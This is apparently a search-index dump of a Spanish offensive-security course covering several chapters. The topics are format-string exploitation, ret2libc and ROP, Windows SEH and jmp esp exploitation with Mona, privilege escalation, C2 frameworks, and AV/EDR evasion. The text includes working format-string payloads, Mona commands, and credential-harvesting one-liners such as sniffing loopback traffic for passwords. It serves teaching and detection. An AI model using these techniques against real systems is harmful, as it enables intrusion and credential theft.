fprintf(), sprintf() y compañía. La forma correcta es printf(\"%s\", entrada); la vulnerable es printf(entrada). La diferencia es decisiva porque printf es, en el fondo, un intérprete: recorre la pila tomando un valor por cada especificador % que encuentra, y no tiene forma de saber cuántos argumentos se le pasaron en realidad. Quien controla la cadena de formato controla, por lo tanto, cuántos valores lee printf de la pila y qué hace con ellos.\nDe ahí salen tres primitivas de poder creciente:\nMapear la pila (lectura de contexto). Repetir %08x vuelca la pila en hexadecimal, un dword por token, hasta que aparecen los propios bytes de la entrada (0x41414141 si se prefijó con AAAA). El número de tokens que hicieron falta es el offset —en el ejemplo del libro, 7— y ubica dónde cae la entrada dentro de la vista de printf. Leer memoria arbitraria. Con el offset conocido, se planta una dirección al inicio de la cadena y se usa %s, que trata ese valor de la pila como puntero e imprime la cadena que hay ahí. El direct parameter access (%7$s) salta directo al parámetro 7 sin arrastrar los intermedios, acortando el payload. Esta lectura es lo que fuga una dirección real y, con ella, derrota ASLR. Escribir en memoria arbitraria. El especificador %n guarda en la dirección apuntada cuántos bytes se imprimieron hasta ese punto; controlando el ancho de impresión (con relleno) se controla el valor escrito. Escribir una dirección de 32 bits de un solo golpe exigiría imprimir gigabytes, así que la fórmula mágica (Blaess/Grenier/Raynal) parte la dirección en dos mitades —los dos bytes altos (HOB) y los dos bajos (LOB)— y usa dos escrituras %hn de 2 bytes cada una, ordenadas según cuál mitad sea mayor. El blanco de la escritura es cualquier puntero de control: el EIP guardado de un frame (que se localiza en GDB con info frame, sección «Saved registers»), una entrada de la GOT, un function pointer, o un handler registrado con atexit(). Sobrescribirlo con la dirección del shellcode desvía la ejecución.\n$ # 1) mapear la pila hasta ver 0x41414141 → offset = 7 ./fmtstr AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x # 2) leer una dirección arbitraria (little-endian) con direct parameter access ./fmtstr $(printf \"\\x84\\xfd\\xff\\xbf\")%7\\$s # imprime la cadena en 0xbffffd84 # 3) escribir con %hn (fórmula mágica HOB/LOB): dos escrituras de 2 bytes # blanco típico: el EIP guardado del frame (gdb: info frame → Saved registers) ⧉ copiar A diferencia del overflow, el format string es fácil de detectar en el propio código o binario —un printf con un solo argumento variable es sospechoso—, y por eso decae donde hay análisis estático en el build (gcc -Wformat -Wformat-security). Sigue apareciendo porque muchas organizaciones publican sin analizar.\nEl catálogo de mitigaciones y qué protege cada una Antes de rodear las defensas conviene tenerlas ordenadas, porque ninguna cubre todo y el exploit se apoya justo en el hueco. Se enumeran con la herramienta que las revela —checksec, o objdump/readelf a mano— que es la misma que el atacante usa para saber qué falta.\nMitigación Qué hace Qué protege Cómo se rodea Stack canary (StackGuard, SSP/ProPolice) Valor centinela entre el buffer y los datos de control; __stack_chk_fail aborta si se daña Solo la pila Leak del canario o reparación (→ 3.15) Libsafe Reemplaza strcpy/gets/… por versiones con bounds-check Solo la pila Bugs fuera de esas funciones NX / DEP (GNU_STACK, bit NX/XD, /NXCOMPAT) Marca pila y heap como no ejecutables Ejecución en pila/heap ret2libc / ROP (no ejecuta en la pila) ASLR / PIE (randomize_va_space, /DYNAMICBASE) Aleatoriza imágenes, librerías, heap y pila Direcciones fijas Fuga de direcciones (info-leak) RELRO (-z relro,-z now) Resuelve la GOT al inicio y la marca de solo lectura GOT overwrite, ret2plt Otros punteros escribibles El detalle importa. El canary solo interpone un centinela en la pila: no protege el heap, y el SSP además reordena las variables locales para que un buffer no pise a otras. La pila no ejecutable se apoya en el bit NX/XD del hardware (AMD lo introdujo en 2004, Intel como XD) y se ve en las flags del segmento ELF GNU_STACK —RW significa no ejecutable, RWE ejecutable— (gcc -z execstack la vuelve a hacer ejecutable). ASLR aleatoriza las bases; en Windows se activa por módulo con /DYNAMICBASE, y basta una DLL compilada sin ese flag para abrir un boquete de dirección estática. La regla general que resume la tabla: ASLR y NX cubren pila y heap; los canarios y Libsafe, solo la pila.\nret2libc: el primer bypass de la pila no ejecutable Si la pila no es ejecutable, saltar a shellcode propio lanza una excepción. Pero el código legítimo ya mapeado —la libc, que gcc enlaza en todo binario— sí es ejecutable, y a él se puede retornar. El return-to-libc sobrescribe el EIP guardado con la dirección de system() de glibc y prepara la pila para que lo que se ejecute sea system(\"/bin/sh\"). El layout es tres valores consecutivos:\n[ dirección de system() ][ filler = dirección de exit() ][ puntero a \"/bin/sh\" ] Al retornar la función vulnerable, la CPU salta a system(), que encuentra su argumento \"/bin/sh\" en la pila y abre una shell con el EUID del proceso —root, si el binario es SUID—. El filler se pone en exit() para que, cuando system() retorne, el proceso termine limpio en vez de caer en un segfault ruidoso. La cadena \"/bin/sh\" suele tomarse de la propia glibc (está embebida), lo que evita depender de variables de entorno.\nCuando el sistema dropea privilegios al invocar system() —el bash de algunas distribuciones lo hace— o hace falta null-terminar un argumento, se encadenan llamadas a libc: por ejemplo printf (usando %n para escribir un byte nulo en un slot) seguido de execl (que no dropea privilegios). Ese encadenamien","section":"P3 · Explotación y Red Team","summary":"Cuando se reactivan las mitigaciones que 3.6 dejó apagadas: el bug de format string como primitiva de lectura/escritura arbitraria, el catálogo de defensas de memoria, y cómo se las rodea — ret2libc contra NX, ROP como su generalización hacia VirtualProtect/mprotect, y la fuga de direcciones que derrota ASLR — más la fiabilidad y evasión del exploit, con su detección.","tags":["exploit-dev","payload-dev","rop","aslr","deteccion"],"title":"3.7 · Exploit-dev II — Format strings, ret2libc y ROP contra DEP/ASLR","url":"/speculum/p3-red-team/3-7-format-ret2libc-rop/"},{"content":"Panorama Los dos capítulos anteriores —3.6 y 3.7— sentaron los conceptos comunes a cualquier plataforma: el desbordamiento que pisa el return pointer, el shellcode que sobrevive el tránsito, y la escalera de mitigaciones con sus bypass (ret2libc, ROP contra DEP, fuga de direcciones contra ASLR). Este capítulo cierra el sub-bloque de explotación de memoria llevándolo a Windows, donde el mecanismo es el mismo pero los detalles cambian lo suficiente como para exigir técnicas propias.\nHay dos temas. El primero es el stack overflow en Windows: por qué el clásico salto a la pila muere por un byte nulo y cómo el vector jmp esp lo resuelve, la automatización con Mona, y —cuando el desbordamiento es tan grande que el ret nunca se alcanza— la sobrescritura del manejador de excepciones (SEH) como segundo camino al control del flujo, con el patrón repetido de que cada mitigación (SafeSEH, SEHOP, /GS) cae por su borde. El segundo es un vector completamente distinto: el patch diffing, que no escribe un exploit de memoria sino que cosecha el bug del propio parche para armar un 1-day, incluyendo el DLL side-loading como el caso más rentable. Las mitigaciones que 3.7 ya trató —DEP con ROP hacia VirtualProtect, ASLR con info-leak— no se repiten aquí; el contrapunto en Linux moderno está en 3.15 · Exploit-dev Linux avanzado.\nPor qué Windows cambia las reglas: el byte nulo y jmp esp La técnica de Aleph1 —sobrescribir el EIP con una dirección de la pila y saltar al shellcode que hay ahí— no funciona en Windows por un detalle de disposición de memoria. La pila de Windows vive en direcciones bajas, así que una dirección que apunte a ella empieza con 0x00; ese byte nulo inicial trunca el payload al copiarse por una función de cadena. El retorno directo a la pila queda descartado.\nLa solución es el vector jmp esp. Cuando el programa se desborda y cae, es habitual que el registro ESP quede apuntando a una porción del buffer controlado por el atacante. Entonces, en vez de poner en el EIP una dirección de la pila, se pone la dirección de un opcode jmp esp (o call esp, o push esp; ret) que exista en algún módulo cargado: ese opcode mete ESP en el EIP y ejecuta el shellcode que ya está en la pila. La dirección del opcode no tiene bytes nulos porque está en el rango de código de la DLL, no en la pila.\nLa fiabilidad depende de un detalle que decide todo: la dirección del opcode debe ser estable, y ASLR aleatoriza las bases de los módulos. Pero es frecuente que una DLL de terceros incluida con la aplicación no esté compilada con /DYNAMICBASE, así que no se rebasa ni participa de ASLR. Encontrar ese módulo —y tomar de él el jmp esp— es lo que separa una prueba de concepto de un exploit que funciona. Como observa el propio manual al ver el push esp; ret de MSVCR71.dll: si esto parece la razón por la que se inventó DEP, es exactamente eso (y el rodeo de DEP es el ROP de 3.7).\nMona y el proceso de exploit-dev en Windows El proceso de seis pasos es idéntico al de Linux, pero el instrumental es Windows-específico: Immunity Debugger (o WinDbg) como depurador y el plug-in Mona de Corelan para automatizar casi todo. El caso del manual es ProSSHD v1.2, con un desbordamiento post-autenticación al enviar más de 500 bytes en el path de un SCP GET.\n!mona config -set workingfolder c:\\logs\\%p pc 500 # pattern create de 500 bytes po 41337141 # pattern offset del valor que cayó en EIP → 489 modules -o # lista módulos y sus mitigaciones (-o excluye los del SO) jmp -r esp -m msvcr71.dll # busca jmp/call/push esp en el módulo sin ASLR → 0x7c345c30 ⧉ copiar Con el offset (489) y la dirección del opcode (0x7c345c30), el buffer se arma como [489 de relleno][0x7c345c30][NOPs][shellcode]. El shellcode se genera con msfvenom, excluyendo los bad chars que el protocolo maltrata —los de whitespace/control (\\x00\\x20\\x0a\\x0d\\x1b\\x0b\\x0c)—, verificados uno por uno hasta que todos los bytes aparecen intactos en la pila. Cuando el EIP y el ESP quedan demasiado juntos y el shellcode corre riesgo de pisarse a sí mismo durante su propia decodificación, se antepone un stack pivot (add esp,-450) que separa ESP del código.\nUn detalle operativo del caso ProSSHD: la vulnerabilidad no vive en el proceso principal sino en el proceso hijo wsshd.exe, que solo existe mientras hay una conexión activa. El script de disparo incluye un sleep(15) para dar tiempo a attachear el depurador a ese hijo efímero antes de que el payload llegue. Es un recordatorio de que el objetivo real del exploit muchas veces no es el binario que se ve en la lista de procesos. La sobrescritura de SEH: el segundo camino a EIP Un buffer suficientemente grande suele provocar una access violation antes de que la función llegue a su epilog: la ejecución nunca alcanza el ret, y sobrescribir el return pointer no sirve de nada. Windows ofrece, sin quererlo, un segundo camino. Cada hilo mantiene en la pila una cadena de manejadores de excepción —el Structured Exception Handling (SEH)—: arranca en FS:[0] (el Thread Information Block), cada registro EXCEPTION_REGISTRATION ocupa 8 bytes (un puntero prev al registro anterior y un puntero handler a la rutina), y la cadena termina en 0xFFFFFFFF. Cuando se dispara la excepción que causó el desbordamiento, el sistema operativo llama al handler — y ese handler está en la pila, al alcance del overflow.\nflowchart TD O[\"Overflow enorme →\\naccess violation ANTES del ret\"] --\u003e S[\"El SO recorre la cadena SEH\\ny llama al handler\"] S --\u003e H[\"handler pisado =\\ndirección de un POP/POP/RETN\\n(en una DLL)\"] H --\u003e N[\"POP/POP/RETN retorna a\\n_EstablisherFrame (ESP+8)\\n= el NSEH pisado\"] N --\u003e J[\"NSEH = EB 06 90 90\\n(jmp short +6)\"] J --\u003e C[\"Shellcode del atacante\"]El ataque clásico pisa dos campos contiguos: el NSEH con los bytes EB 06 90 90 —un jmp short +6 que salta hacia adelante por encima del campo del handler— y el handler con la dirección de una secuencia POP/POP/RETN tomada de una DLL. Cuando el sistema invoca el handler, el POP/POP/RETN retorna a _EstablisherFrame (que está en ESP+8), es decir, al NSEH que se pisó; ese jmp short +6 salta al área del shellcode. El rodeo parece indirecto, pero es fiable porque la relación entre el handler llamado y el _EstablisherFrame es fija.\nCómo caen SafeSEH, SEHOP y /GS Microsoft respondió a la sobrescritura de SEH con dos mitigaciones dedicadas, y al overflow con el stack cookie. Las tres caen, y el patrón es el mismo de todo el arco: no se rompen de frente, se rodean por el borde que no cubren.\nSafeSEH. Compila en el binario una tabla de handlers válidos que RtlDispatchException verifica antes de llamar a ninguno. El bypass es trivial: tomar el POP/POP/RETN de un módulo que no fue compilado con SafeSEH (se verifica con Mona o con OllySSEH). Un solo módulo sin la protección alcanza. SEHOP. Recorre toda la cadena SEH en tiempo de excepción y exige que termine en ntdll!FinalExceptionHandler; una cadena rota la delata. El bypass (técnica de Sysdream) reconstruye una cadena SEH falsa que sí termina en el FinalExceptionHandler real, usando un gadget XOR reg,reg; POP; POP; RETN que pone el zero flag y un salto condicional JE (0x74) en lugar del JMP short (0xEB) para encadenar bajo las condiciones que SEHOP verifica. /GS. Coloca un cookie secreto (XOR con EBP) sobre el EBP y el return pointer guardados, y lo valida al retornar. Su hueco: no protege los registros SEH. Si la excepción se dispara antes de que la función llegue a validar el cookie, se controla el flujo por la vía SEH sin haber tocado el canario. Además, el cookie no siempre se aplica (funciones sin buffer, naked, con inline asm, varargs, o con buffers de menos de 4 bytes) y su entropía es predeciblemente débil, como mostró Skape. La lección operativa que unifica el capítulo: enumerar las mitigaciones por módulo (!mona modules) es el primer paso de todo exploit de Windows, porque un solo DLL mal compilado —sin ASLR, sin SafeSEH— abre el vector entero. La defensa, en espejo, es no dejar ningún módulo débil en la superficie (ver la secció","section":"P3 · Explotación y Red Team","summary":"Lo que cambia al llevar el arco a Windows: por qué el retorno-a-la-pila muere por el byte nulo y el vector jmp esp lo resuelve, Mona y el módulo sin ASLR, la sobrescritura de SEH como segundo camino a EIP y cómo caen SafeSEH/SEHOP/GS por sus bordes; y un vector distinto — el patch diffing para cosechar 1-days y el DLL side-loading — con su detección.","tags":["exploit-dev","windows","payload-dev","patch-diffing","deteccion"],"title":"3.8 · Exploit-dev III — Windows (SEH, Mona, jmp esp) y patch diffing","url":"/speculum/p3-red-team/3-8-exploit-dev-windows/"},{"content":"Panorama El foothold rara vez llega como administrador. Una webshell corre como la cuenta del servidor web, un exploit de servicio como la cuenta del servicio, una credencial robada como el usuario que la dejó. La escalada de privilegios local —local privilege escalation— es el paso que convierte ese acceso limitado en control total de la máquina: root en Linux, NT AUTHORITY\\SYSTEM en Windows. Es el primer capítulo del sub-bloque de post-explotación, y recoge un hilo que viene desde la explotación de memoria: el binario SUID root vulnerable de 3.6 es una vía de escalada, pero es apenas una entre muchas, y casi nunca la más probable.\nLa tesis que ordena el capítulo, común a ambos sistemas operativos: la escalada es un problema de enumeración, no de exploits. El número de archivos y configuraciones de un sistema es abrumador, y en algún lugar de esa masa hay un recurso que corre o se evalúa con privilegio alto pero cuyos permisos permiten que un usuario común lo escriba o lo ejecute. Encontrar ese único recurso —el servicio con el binario reemplazable, la contraseña olvidada en un archivo de configuración, el SUID sobre find— es el trabajo. El exploit de kernel existe, pero es el último recurso: es ruidoso, puede tumbar el sistema, y cualquier inestabilidad alerta a los administradores antes que a cualquier SOC.\nflowchart TD F[\"Foothold sin privilegios\\n(webshell, servicio, usuario)\"] --\u003e E[\"Enumeración exhaustiva\\n(situational awareness + tooling)\"] E --\u003e C[\"Credenciales tiradas\\n(historial, configs, env, tráfico)\"] E --\u003e M[\"Misconfiguración\\n(ACL / SUID / sudo / cron / servicio)\"] E --\u003e K[\"Exploit de kernel/local\\n(último recurso: ruidoso, crashea)\"] C --\u003e R[\"root / SYSTEM\"] M --\u003e R K --\u003e R R --\u003e L[\"→ movimiento lateral (4.8)\\n→ C2 (3.10)\"]La enumeración es el 80% del trabajo Antes de cualquier técnica viene el reconocimiento del propio sistema. La situational awareness mínima —identidad, privilegios, grupos, versión del sistema, procesos, red— se obtiene con un puñado de comandos: whoami /priv y whoami /groups en Windows, id y uname -a en Linux, más el inventario de procesos, rutas de red y tareas programadas. Sobre esa base se despliega el arsenal de scripts que automatizan el barrido, porque hacerlo a mano sobre miles de objetos es inviable.\nEl eje ofensivo es la familia PEAS de Carlos Polop: WinPEAS (basado en Seatbelt) y LinPEAS barren prácticamente todo —información del sistema, servicios, credenciales almacenadas, archivos interesantes, permisos— con salida coloreada donde el rojo marca un privilegio abusable. Alrededor giran variantes elegidas según el entorno, no según el gusto: en Windows, Seatbelt y SharpUp (C#, hay que compilarlos), PowerUp y PrivescCheck (PowerShell, este último pensado para entornos con AppLocker y sin WMI), y Powerless (un batch, para máquinas legacy donde PowerShell está bloqueado); en Linux, LinEnum, Bashark y Linux Smart Enumeration. Y por encima, los exploit-suggesters —Watson y Sherlock en Windows, LES y LES-2 en Linux— que mapean la versión del sistema a los CVE de kernel aplicables.\nLas herramientas ahorran tiempo, pero mienten y omiten. El propio material de OffSec documenta que WinPEAS identificó mal la versión del sistema y no listó ni el transcript file ni la nota de texto que sí dieron la escalada; PowerUp falló su función de abuso por un detalle del argumento en el path. La regla operativa: correr el script para cubrir terreno, pero verificar a mano y saber ejecutar cada vector sin la herramienta. Que un mismo hallazgo aparezca en dos scripts distintos, en cambio, es señal de alta confianza. Credenciales tiradas: el botín más frecuente La escalada más común no es un exploit sino una credencial de administrador encontrada donde el usuario la dejó. El grueso de lo que enumeran las herramientas es credential harvesting, y vale por sí mismo como vector.\nEn Windows los depósitos son abundantes: el Autologin en el registro, las GPP passwords con su cpassword descifrable en SYSVOL, los Unattend.xml, las copias de SAM/SYSTEM, DPAPI, el Credential Manager, las contraseñas guardadas en los navegadores. Pero el caso más instructivo es el historial de PowerShell, por un malentendido defensivo: Clear-History solo borra Get-History, no el archivo de PSReadline (ConsoleHost_history.txt), que sobrevive; y la Transcription —un control de logging pensado para el equipo azul— captura la sesión completa, incluido el ConvertTo-SecureString que arma un PSCredential en claro. Un mecanismo de defensa termina entregando la contraseña al atacante.\nEn Linux las fugas viajan por lugares que nadie mira: variables de entorno (env, un export en .bashrc), la línea de comando de un demonio root —ps aux revela un sshpass -p \u003ccontraseña\u003e—, o el tráfico del loopback si se tiene sudo sobre tcpdump (tcpdump -i lo -A | grep pass esnifa las credenciales de un servicio interno). Es el low-hanging fruit que se revisa antes de tocar SUID o kernel.\n$ # Windows — historial y transcript de PowerShell (Get-PSReadlineOption).HistorySavePath type $env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt type C:\\Users\\Public\\Transcripts\\transcript01.txt # PSCredential en claro # Linux — credenciales en entorno, procesos y loopback env | grep -i cred watch -n 1 \"ps -aux | grep pass\" # sshpass -p \u003cpass\u003e ... sudo tcpdump -i lo -A | grep \"pass\" ⧉ copiar A partir de aquí los vectores divergen por sistema operativo, pero conviene ver el paralelismo: ambas plataformas exponen las mismas familias de misconfiguración —un recurso privilegiado escribible, un privilegio delegado de más, un componente que ejecuta código ajeno— con nombres distintos.\nflowchart TD subgraph WIN[\"Windows\"] W1[\"ACL flojas en servicios\\nbinary/DLL/unquoted/tarea\"] W2[\"Abuso de token\\nSeImpersonate → SYSTEM\"] W3[\"AlwaysInstallElevated\\nMSI como SYSTEM\"] end subgraph LNX[\"Linux\"] L1[\"SUID / sudo / capabilities\\n(GTFOBins)\"] L2[\"cron escribible\\n/etc/passwd escribible\"] L3[\"grupo docker\\n= root\"] end W1 \u0026 W2 \u0026 W3 --\u003e S[\"SYSTEM\"] L1 \u0026 L2 \u0026 L3 --\u003e Rt[\"root\"] K[\"Exploit de kernel\\n(último recurso, ambas)\"] --\u003e S K --\u003e RtWindows: escalada por ACL y servicios mal configurados El modelo de seguridad de Windows se apoya en el SID (identificador de principal; los RID por debajo de 1000 son cuentas conocidas como S-1-5-18 = LocalSystem), el token de acceso que porta el contexto de seguridad, la Mandatory Integrity Control (un proceso de integridad Low no escribe sobre objetos de nivel mayor) y UAC (un administrador recibe dos tokens, uno filtrado y uno completo). Sobre ese modelo, la escalada en Windows es casi siempre un problema de ACL mal puestas, y la herramienta central es icacls: cuando muestra BUILTIN\\Users:(F) sin la (I) de herencia, significa que alguien concedió Full Control a propósito —«para evitar problemas de permisos»— y eso es el bug.\nCuatro vectores comparten ese patrón —un recurso privilegiado con un path escribible— y se reducen al mismo exploit: reemplazar y reiniciar.\nService binary hijacking. Si el binario del servicio es escribible (Users:(F)), se lo sustituye por uno malicioso y se reinicia el servicio (Restart-Service, o un reboot si el arranque es automático y se tiene SeShutdownPrivilege). Service DLL hijacking. Un servicio que carga una DLL inexistente —visible en Process Monitor como NAME NOT FOUND— se explota plantando una DLL con ese nombre en el primer directorio escribible del search order, con el payload en DllMain bajo DLL_PROCESS_ATTACH. Es el mismo abuso del orden de búsqueda de DLLs que el side-loading de 3.8, aquí aplicado localmente. Unquoted service path. CreateProcess interpreta un path sin comillas de izquierda a derecha, probando C:\\Program.exe, C:\\Program Files\\My.exe, etc.; si algún directorio intermedio es escribible, se planta ahí un .exe con el nombre truncado. Scheduled tasks. Una tarea que corre como otro usuario (Run As User) sobre un binario escribible se compromete reemplazando ese binario. A ellos se suma AlwaysInstallElevated ","section":"P3 · Explotación y Red Team","summary":"Del foothold sin privilegios a root/SYSTEM: por qué la escalada local es un problema de enumeración y misconfiguración antes que de exploits — credenciales tiradas, ACL flojas y servicios en Windows, SUID/sudo/cron/capabilities en Linux, abuso de tokens y GTFOBins — con el exploit de kernel como último recurso y su detección.","tags":["privilege-escalation","windows","linux","post-explotacion","deteccion"],"title":"3.9 · Escalada de privilegios (Windows/Linux)","url":"/speculum/p3-red-team/3-9-escalada-privilegios/"},{"content":"Panorama Una reverse shell es frágil. La conexión de vuelta que abre el shellcode de 3.6, la que dispara una inyección de comando de 3.2 o una webshell de 3.5, y el acceso ya elevado que deja la escalada de 3.9, comparten el mismo problema: son un hilo único que se corta si cae el proceso, que no sobrevive a un reboot, que no gestiona varios hosts a la vez y que no se puede compartir entre operadores. El comando y control —command and control, C2— es la infraestructura que convierte ese hilo en un sistema: un canal fiable, persistente y reutilizable por el que el agente comprometido recibe órdenes y devuelve resultados. Es el sistema nervioso de la post-explotación, el eje sobre el que giran el movimiento lateral, la persistencia y la exfiltración.\nLa tesis que ordena el capítulo es una paradoja. El mismo canal que da control es el artefacto más detectable de toda la intrusión. Un host que ejecuta código robado se ve poco; un host que habla con el exterior a intervalos regulares, mes tras mes, es una anomalía que ningún atacante puede eliminar, porque sin ese diálogo no hay operación. Todo lo que sigue —los frameworks, los perfiles que imitan tráfico de Amazon, los redirectors, el domain fronting, el jitter que desincroniza el latido— es ingeniería contra ese único hecho: esconder una conversación que no puede dejar de suceder. El encuadre viene de la metodología de 3.1: en un assumed breach exercise el 0-day ya entró, y lo que el ejercicio mide es si el equipo azul detecta el C2 y los pasos que le siguen. «Ser descubierto es parte de la evaluación», y quemar cuatro o cinco entornos al ser detectado es un resultado válido que demuestra que las defensas funcionan.\nflowchart LR A[\"Foothold / reverse shell\\n(3.2 · 3.5 · 3.6 · 3.9)\"] --\u003e B[\"Agente / Beacon\\nen la víctima\"] B --\u003e|\"heartbeat → tasking → exfil\"| R[\"Redirector\\n(socat / mod_rewrite)\"] R --\u003e T[\"Team Server (C2)\\nfuera del alcance del Blue\"] T --\u003e O[\"Operador\\n(consola / GUI)\"] B -.-\u003e|\"SMB beacon\"| B2[\"Otros hosts\\n(sin egress propio)\"] T --\u003e P[\"→ evasión (3.11)\\n→ pivoting (3.13)\\n→ exfiltración (3.12)\"]La anatomía de un C2 Entender un framework de C2 empieza por descomponerlo en sus tres piezas, porque son las mismas en cualquiera —Cobalt Strike, Sliver o uno escrito a mano— y porque conocer su protocolo interno es exactamente lo que permite detectarlo. El proyecto educativo de 0xsp, que construye un C2 mínimo en Free Pascal, expone la anatomía sin adornos:\nEl team server orquesta toda la operación. Es un servidor de API —típicamente JSON REST sobre HTTPS con un certificado self-signed— con almacenamiento en base de datos (SQLite en el ejemplo) que guarda operadores, tareas y agentes. Corre multi-threaded para atender dos mundos a la vez: el de los operadores humanos y el de los agentes en las víctimas. Esa separación es deliberada —el API que toca el operador nunca es el mismo que el que tocan los agentes—, y cada listener que crea el operador levanta su propio servidor de agente aislado. El operador es la interfaz humana: una consola o una GUI que se autentica contra el team server y desde la que se listan los agentes conectados, se les asignan tareas y se leen los resultados. En el ejemplo Pascal es una GUI GTK que envía cada petición dentro de un hilo para no congelarse; en Cobalt Strike es el cliente Java que se conecta al team server. El agente —beacon en la jerga de Cobalt Strike, decoy en el ejemplo— es el código que corre en la víctima. Es un cliente HTTP muy personalizado que solo habla con los endpoints del C2, cross-platform y ligero. Sobre esas tres piezas corre un único protocolo, y es el patrón que define a todos los C2 modernos: heartbeat → tasking → exfil. El agente, al arrancar, hace un heartbeat (un GET a un endpoint de verificación) para confirmar que el C2 está vivo; si responde, se marca conectado. A partir de ahí sondea un endpoint de tareas a intervalos, y aquí aparece una decisión de diseño reveladora: en vez de un bucle while —que consume CPU—, el agente usa un timer con un intervalo fijo (3000 ms en el ejemplo). En cada latido, si hay una tarea en estado PENDING, la ejecuta, la marca COMPLETED y exfiltra el resultado por POST. Dos rasgos completan el cuadro: si el C2 cae después de recibir resultados, el agente reintenta cuando vuelve; y si el handshake inicial falla, no ejecuta nada —«comportamiento menos ruidoso»—.\nEl intervalo de sondeo es el corazón de la paradoja del C2. Ese timer de 3000 ms produce un beaconing de varianza casi nula: peticiones perfectamente periódicas a un mismo endpoint, la firma más trivial de cazar que existe. Todo el arte del C2 ofensivo —el jitter que sigue— nace de disimular este latido; todo el arte del C2 hunting —la sección de detección— nace de encontrarlo. El diseño mínimo lo expone en crudo; los frameworks maduros lo esconden, pero nunca lo eliminan. El ejemplo Pascal, por ser un demo, arrastra fallos reales que un C2 de producción debe evitar y que ilustran de paso por qué la propia infraestructura ofensiva es superficie de ataque: el token de autenticación es solo un base64(usuario:contraseña) sin rotación, y las consultas se arman por concatenación de strings —un SQL injection de manual, la misma clase de 3.2, ahora dentro del arma—. Los team servers reales han tenido vulnerabilidades análogas; la infraestructura del atacante no es mágicamente segura.\nEl catálogo de frameworks No existe «el» C2: se elige según el entorno, el presupuesto y el nivel de sigilo requerido. La familia se puede ordenar por su rasgo dominante.\nFramework Canal / lenguaje Rasgo distintivo Metasploit / Meterpreter TCP, HTTP(S) El estándar; Paranoid Mode (SSL de CA propia) y obfuscación de payload Cobalt Strike HTTP(S), DNS, SMB Beacon + Malleable C2 Profiles + domain fronting; referencia comercial (~$3500/año) Sliver / Havoc / Mythic HTTP(S), mTLS, DNS, WireGuard Sucesores open-source de Cobalt Strike, menos firmados PowerShell Empire HTTP(S) Post-explotación fileless: corre PowerShell sin powershell.exe dnscat2 DNS cifrado Tunela y exfiltra fuera de redes que solo dejan salir DNS Merlin / PoshC2 / Pupy HTTP/2, PS, Python Nichos: protocolo binario multiplexado, proxy-aware, RAT cross-platform Villain HTTP/HTTPS (HoaxShell) C2 colaborativo multi-operador con federación sibling-server Cobalt Strike sigue siendo la referencia porque no trae exploits —su valor aparece después de tener ejecución de código—: su Beacon está diseñado para post-explotación sigilosa, y su ecosistema (perfiles Malleable, Aggressor Scripts para automatizar) no tiene par. Precisamente por su ubicuidad, sus artefactos por defecto están intensamente firmados, y de ahí el auge de sucesores open-source como Sliver, Havoc y Mythic, que ofrecen el mismo modelo (beacon, perfiles, listeners mTLS/DNS) con menos huella conocida.\nEmpire representa el eje de la evasión moderna: ejecuta agentes PowerShell dentro de un runspace .NET sin invocar el binario powershell.exe, evadiendo las detecciones que vigilan ese proceso, con todo lo demás —Mimikatz, keyloggers, módulos— viviendo en memoria. Ese patrón fileless es el que arrastra hacia la evasión de AV/EDR (3.11). dnscat2 ocupa el otro extremo: cuando la red solo deja salir consultas DNS, tunela el C2 cifrado sobre ellas a través de un servidor autoritativo propio, atravesando casi cualquier egress restrictivo —el mismo principio de la connect-back shell que cruza el firewall de salida en 3.6, llevado a un protocolo que casi nunca se bloquea—.\nVillain aporta una capacidad que los demás no cubren: el C2 colaborativo. Dos o más instancias en máquinas distintas se federan como sibling servers —conectando al team server de otra y aceptando con un código de un solo uso— y sincronizan sus sesiones en tiempo real, de modo que varios operadores ven las mismas shells. Su motor es HoaxShell, una reverse shell sobre HTTP/HTTPS que mezcla el C2 con peticiones web ordinarias; el precio de esa comodidad, otra vez, es un beaconing de baja varianza a un único en","section":"P3 · Explotación y Red Team","summary":"El comando y control como sistema nervioso de la post-explotación y, a la vez, el artefacto más detectable de toda la intrusión: la anatomía de un C2 (team server, operador, agente) y su protocolo heartbeat→tasking→exfil, el catálogo de frameworks (Cobalt Strike, Sliver, Empire, dnscat2, Villain), la infraestructura desechable con redirectors y domain fronting, la evasión de capa 7 por mimetismo de tráfico, y cómo el propio diseño del canal —beaconing, jitter, certificados— es lo que lo delata.","tags":["c2-framework","post-explotacion","evasion","redirector","beaconing","deteccion"],"title":"3.10 · C2 e infraestructura ofensiva","url":"/speculum/p3-red-team/3-10-c2-infraestructura/"},{"content":"Panorama El capítulo anterior trató la evasión del canal: hacer que la conversación del C2 se disuelva en el tráfico normal. Este trata el problema gemelo y complementario, la evasión del payload: que el código que corre en el host —el shellcode de 3.6, el stager de un Beacon de 3.10, la herramienta de post-explotación— no sea detectado en el disco ni en la memoria de la máquina. Son dos frentes distintos del mismo agente: un perfil Malleable impecable no sirve de nada si el antivirus reconoce el shellcode al ejecutarse, y el loader más sigiloso se quema si su beaconing es un latido metronómico. El guardián de este frente es el antivirus (AV) y su descendiente moderno, el EDR (Endpoint Detection and Response): el software que observa cada archivo, cada asignación de memoria y cada llamada a la API del sistema en busca de actividad maliciosa.\nLa tesis que ordena el capítulo es una escalera. La detección de un AV/EDR no es un muro único sino una serie de capas —firma, heurística, comportamiento, aprendizaje automático—, y cada técnica de evasión ataca una capa concreta. A medida que el defensor sube por esas capas, el atacante se ve empujado a moverse: del disco a la memoria, de las herramientas públicas al código propio, y de los procesos vigilados a los binarios de confianza del propio sistema. El patrón que recorre todo es que la evasión gana contra lo que el defensor firma, pero no contra lo que el payload hace: cada peldaño que sube el atacante para esconder su presencia estática deja, a cambio, una traza de comportamiento nueva —memoria ejecutable donde no debería haberla, un binario de confianza con una línea de comando insólita, un proceso que carga el motor de PowerShell sin ser PowerShell—. Esa es la grieta que la sección de detección explota.\nflowchart TD P[\"Payload / shellcode\\n(3.6 · 3.10)\"] --\u003e D{\"¿Qué capa de detección\\nhay que vencer?\"} D --\u003e|\"firma / hash (disco)\"| ON[\"Evasión on-disk\\nobfuscación · crypter · recompilar\"] D --\u003e|\"file engine (disco)\"| MEM[\"Evasión in-memory\\ninjection · reflective DLL · hollowing\"] D --\u003e|\"vigilancia de proceso\"| LOL[\"Vivir de lo confiable\\nLOLBAS · PowerShell sin powershell.exe\"] D --\u003e|\"comportamiento / AMSI / EDR\"| BLIND[\"Cegar al vigía\\nAMSI/ETW bypass · unhooking · Internal Monologue\"] ON \u0026 MEM \u0026 LOL \u0026 BLIND --\u003e 